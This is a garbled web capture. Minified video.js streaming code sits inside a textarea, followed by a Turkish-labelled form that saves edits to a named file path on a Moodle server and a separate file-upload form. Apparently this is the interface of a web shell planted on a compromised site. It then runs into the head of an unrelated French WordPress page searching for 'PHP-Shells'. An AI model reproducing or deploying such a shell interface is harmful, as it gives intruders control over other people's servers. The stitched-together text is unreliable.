_this3.tech_.currentDimensions()},enumerable:!0},seekable:{get:function(){return timeRangesToArray(_this3.tech_.seekable())},enumerable:!0},timestamp:{get:function(){return Date.now()},enumerable:!0},videoPlaybackQuality:{get:function(){return _this3.tech_.getVideoPlaybackQuality()},enumerable:!0}}),this.tech_.one(&quot;canplay&quot;,this.masterPlaylistController_.setupFirstPlay.bind(this.masterPlaylistController_)),this.tech_.on(&quot;bandwidthupdate&quot;,(function(){_this3.options_.useBandwidthFromLocalStorage&amp;&amp;function(options){if(!window.localStorage)return!1;var objectToStore=getVhsLocalStorage();objectToStore=objectToStore?videojs.mergeOptions(objectToStore,options):options;try{window.localStorage.setItem(&quot;videojs-vhs&quot;,JSON.stringify(objectToStore))}catch(e){return!1}}({bandwidth:_this3.bandwidth,throughput:Math.round(_this3.throughput)})})),this.masterPlaylistController_.on(&quot;selectedinitialmedia&quot;,(function(){var vhsHandler;(vhsHandler=_this3).representations=function(){var master=vhsHandler.masterPlaylistController_.master(),playlists=isAudioOnly(master)?vhsHandler.masterPlaylistController_.getAudioTrackPlaylists_():master.playlists;return playlists?playlists.filter((function(media){return!isIncompatible(media)})).map((function(e,i){return new Representation(vhsHandler,e,e.id)})):[]}})),this.masterPlaylistController_.sourceUpdater_.on(&quot;createdsourcebuffers&quot;,(function(){_this3.setupEme_()})),this.on(this.masterPlaylistController_,&quot;progress&quot;,(function(){this.tech_.trigger(&quot;progress&quot;)})),this.on(this.masterPlaylistController_,&quot;firstplay&quot;,(function(){this.ignoreNextSeekingEvent_=!0})),this.setupQualityLevels_(),this.tech_.el()&amp;&amp;(this.mediaSourceUrl_=window.URL.createObjectURL(this.masterPlaylistController_.mediaSource),this.tech_.src(this.mediaSourceUrl_))}},_proto.setupEme_=function(){var _this4=this,audioPlaylistLoader=this.masterPlaylistController_.mediaTypes_.AUDIO.activePlaylistLoader,didSetupEmeOptions=setupEmeOptions({player:this.player_,sourceKeySystems:this.source_.keySystems,media:this.playlists.media(),audioMedia:audioPlaylistLoader&amp;&amp;audioPlaylistLoader.media()});this.player_.tech_.on(&quot;keystatuschange&quot;,(function(e){&quot;output-restricted&quot;===e.status&amp;&amp;_this4.masterPlaylistController_.blacklistCurrentPlaylist({playlist:_this4.masterPlaylistController_.media(),message:&quot;DRM keystatus changed to &quot;+e.status+&quot;. Playlist will fail to play. Check for HDCP content.&quot;,blacklistDuration:1/0})})),11!==videojs.browser.IE_VERSION&amp;&amp;didSetupEmeOptions?(this.logger_(&quot;waiting for EME key session creation&quot;),waitForKeySessionCreation({player:this.player_,sourceKeySystems:this.source_.keySystems,audioMedia:audioPlaylistLoader&amp;&amp;audioPlaylistLoader.media(),mainPlaylists:this.playlists.master.playlists}).then((function(){_this4.logger_(&quot;created EME key session&quot;),_this4.masterPlaylistController_.sourceUpdater_.initializedEme()})).catch((function(err){_this4.logger_(&quot;error while creating EME key session&quot;,err),_this4.player_.error({message:&quot;Failed to initialize media keys for EME&quot;,code:3})}))):this.masterPlaylistController_.sourceUpdater_.initializedEme()},_proto.setupQualityLevels_=function(){var _this5=this,player=videojs.players[this.tech_.options_.playerId];player&amp;&amp;player.qualityLevels&amp;&amp;!this.qualityLevels_&amp;&amp;(this.qualityLevels_=player.qualityLevels(),this.masterPlaylistController_.on(&quot;selectedinitialmedia&quot;,(function(){var qualityLevels,vhs;qualityLevels=_this5.qualityLevels_,(vhs=_this5).representations().forEach((function(rep){qualityLevels.addQualityLevel(rep)})),handleVhsMediaChange(qualityLevels,vhs.playlists)})),this.playlists.on(&quot;mediachange&quot;,(function(){handleVhsMediaChange(_this5.qualityLevels_,_this5.playlists)})))},VhsHandler.version=function(){return{&quot;@videojs/http-streaming&quot;:&quot;2.12.0&quot;,&quot;mux.js&quot;:&quot;5.14.1&quot;,&quot;mpd-parser&quot;:&quot;0.19.2&quot;,&quot;m3u8-parser&quot;:&quot;4.7.0&quot;,&quot;aes-decrypter&quot;:&quot;3.1.2&quot;}},_proto.version=function(){return this.constructor.version()},_proto.canChangeType=function(){return SourceUpdater.canChangeType()},_proto.play=function(){this.masterPlaylistController_.play()},_proto.setCurrentTime=function(currentTime){this.masterPlaylistController_.setCurrentTime(currentTime)},_proto.duration=function(){return this.masterPlaylistController_.duration()},_proto.seekable=function(){return this.masterPlaylistController_.seekable()},_proto.dispose=function(){this.playbackWatcher_&amp;&amp;this.playbackWatcher_.dispose(),this.masterPlaylistController_&amp;&amp;this.masterPlaylistController_.dispose(),this.qualityLevels_&amp;&amp;this.qualityLevels_.dispose(),this.player_&amp;&amp;(delete this.player_.vhs,delete this.player_.dash,delete this.player_.hls),this.tech_&amp;&amp;this.tech_.vhs&amp;&amp;delete this.tech_.vhs,this.tech_&amp;&amp;delete this.tech_.hls,this.mediaSourceUrl_&amp;&amp;window.URL.revokeObjectURL&amp;&amp;(window.URL.revokeObjectURL(this.mediaSourceUrl_),this.mediaSourceUrl_=null),_Component.prototype.dispose.call(this)},_proto.convertToProgramTime=function(time,callback){return getProgramTime({playlist:this.masterPlaylistController_.media(),time:time,callback:callback})},_proto.seekToProgramTime=function(programTime,callback,pauseAfterSeek,retryCount){return void 0===pauseAfterSeek&amp;&amp;(pauseAfterSeek=!0),void 0===retryCount&amp;&amp;(retryCount=2),seekToProgramTime({programTime:programTime,playlist:this.masterPlaylistController_.media(),retryCount:retryCount,pauseAfterSeek:pauseAfterSeek,seekTo:this.options_.seekTo,tech:this.options_.tech,callback:callback})},VhsHandler}(videojs.getComponent(&quot;Component&quot;)),VhsSourceHandler={name:&quot;videojs-http-streaming&quot;,VERSION:&quot;2.12.0&quot;,canHandleSource:function(srcObj,options){void 0===options&amp;&amp;(options={});var localOptions=videojs.mergeOptions(videojs.options,options);return VhsSourceHandler.canPlayType(srcObj.type,localOptions)},handleSource:function(source,tech,options){void 0===options&amp;&amp;(options={});var localOptions=videojs.mergeOptions(videojs.options,options);return tech.vhs=new VhsHandler(source,tech,localOptions),videojs.hasOwnProperty(&quot;hls&quot;)||Object.defineProperty(tech,&quot;hls&quot;,{get:function(){return videojs.log.warn(&quot;player.tech().hls is deprecated. Use player.tech().vhs instead.&quot;),tech.vhs},configurable:!0}),tech.vhs.xhr=xhrFactory(),tech.vhs.src(source.src,source.type),tech.vhs},canPlayType:function(type,options){void 0===options&amp;&amp;(options={});var _videojs$mergeOptions2=videojs.mergeOptions(videojs.options,options).vhs.overrideNative,overrideNative=void 0===_videojs$mergeOptions2?!videojs.browser.IS_ANY_SAFARI:_videojs$mergeOptions2,supportedType=simpleTypeFromSourceType(type);return supportedType&amp;&amp;(!Vhs.supportsTypeNatively(supportedType)||overrideNative)?&quot;maybe&quot;:&quot;&quot;}};(browserSupportsCodec(&quot;avc1.4d400d,mp4a.40.2&quot;)&amp;&amp;videojs.getTech(&quot;Html5&quot;).registerSourceHandler(VhsSourceHandler,0),videojs.VhsHandler=VhsHandler,Object.defineProperty(videojs,&quot;HlsHandler&quot;,{get:function(){return videojs.log.warn(&quot;videojs.HlsHandler is deprecated. Use videojs.VhsHandler instead.&quot;),VhsHandler},configurable:!0}),videojs.VhsSourceHandler=VhsSourceHandler,Object.defineProperty(videojs,&quot;HlsSourceHandler&quot;,{get:function(){return videojs.log.warn(&quot;videojs.HlsSourceHandler is deprecated. Use videojs.VhsSourceHandler instead.&quot;),VhsSourceHandler},configurable:!0}),videojs.Vhs=Vhs,Object.defineProperty(videojs,&quot;Hls&quot;,{get:function(){return videojs.log.warn(&quot;videojs.Hls is deprecated. Use videojs.Vhs instead.&quot;),Vhs},configurable:!0}),videojs.use||(videojs.registerComponent(&quot;Hls&quot;,Vhs),videojs.registerComponent(&quot;Vhs&quot;,Vhs)),videojs.options.vhs=videojs.options.vhs||{},videojs.options.hls=videojs.options.hls||{},videojs.getPlugin&amp;&amp;videojs.getPlugin(&quot;reloadSourceOnError&quot;))||(videojs.registerPlugin||videojs.plugin)(&quot;reloadSourceOnError&quot;,(function(options){initPlugin(this,options)}));return videojs}));
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/moodledataevs/localcache/requirejs/f0f48893625d4601c6807650b2bf80fd05ae7898">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d5cc7a099c*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form 